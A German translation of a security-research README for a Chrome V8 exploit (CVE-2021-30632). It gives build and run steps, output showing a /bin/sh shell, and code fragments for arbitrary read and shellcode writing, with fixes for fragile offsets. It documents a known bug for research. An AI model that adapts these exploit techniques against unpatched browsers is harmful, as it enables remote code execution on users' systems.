CVE-2021-30632

Von: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

Die Analyse dieses Bugs findest du hier. Es handelt sich um einen Chrome-Bug, der von einem anonymen Forscher gemeldet wurde und von dem angenommen wird, dass er in freier Wildbahn ausgenutzt wurde.

Der Exploit hier wurde mit der V8-Version 9.3.345.16 (Commit 632e6e7) getestet, der Version, die mit Chrome 93.0.4577.63 ausgeliefert wurde, also der Version vor der Behebung des Bugs, unter Ubuntu 20.04. Ich habe ihn nicht mit Chrome selbst getestet.

Zum Testen checkst du v8 im Commit 632e6e7 aus und kompilierst es mit den Standardeinstellungen mit tools/dev/gm.py x64.release. Dann öffnest du die Datei poc.js mit d8:

./d8 poc.js

Unter Ubuntu 20.04 sollte es execve("/bin/sh") aufrufen, um einen neuen Prozess zu starten:

./d8 poc.js
instance: 81d42dd
elements: 804abd9
rwx page address: 22c70c88b000
intArray addr: 8105d79
intBackingStore: 56498ceb25e0
$

Der Shellcode muss auf anderen Plattformen möglicherweise angepasst werden.

Der Exploit ist sehr zuverlässig. Beim Testen ist mir jedoch aufgefallen, dass einige Offsets empfindlich auf kleine Änderungen an der Datei zu reagieren scheinen (selbst das Hinzufügen von Kommentaren kann Probleme verursachen), was dazu führt, dass der Exploit fehlschlägt. Dies passiert nur, wenn die Datei verändert wird, und äußert sich meist in einigen Müllwerten der Adressen, zum Beispiel:

instance: 81d42dd
elements: 800222d
rwx page address: 3ff199999999999a
intArray addr: 81067e1
intBackingStore: 3ff199999999999a

Oben sind die Adresse der rwx-Seite und initBackingStore eindeutig falsch. Die Ursache scheint ein falscher Wert für elements zu sein. (800222d ist kein gültiger Wert.) Dies kann normalerweise behoben werden, indem die folgenden Zeilen bezüglich der Adresse von elements geändert werden:

function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);  //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));          //<---- change to   oobWrite(i32tof(addr1,addr));
  return writeArr[0];
}
...
function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  console.log("intArray addr: " + intArrAddr.toString(16));
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

  [elements, addr1] = ftoi32(addrs[1]);              //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));        //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
  ...
}
...
var elementsAddr = ftoi32(addrs[1])[0];             //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];

Dies beeinträchtigt jedoch nicht die Zuverlässigkeit des Exploits, da die Offsets stabil sind, solange die Datei unverändert bleibt, aber es kann Probleme verursachen, wenn der Poc geändert wird. Ich weiß nicht, was das verursacht, aber der Exploit kann wahrscheinlich robuster dagegen gemacht werden, indem man Muster im Speicher abgleicht, anstatt sich auf feste Offsets zu verlassen.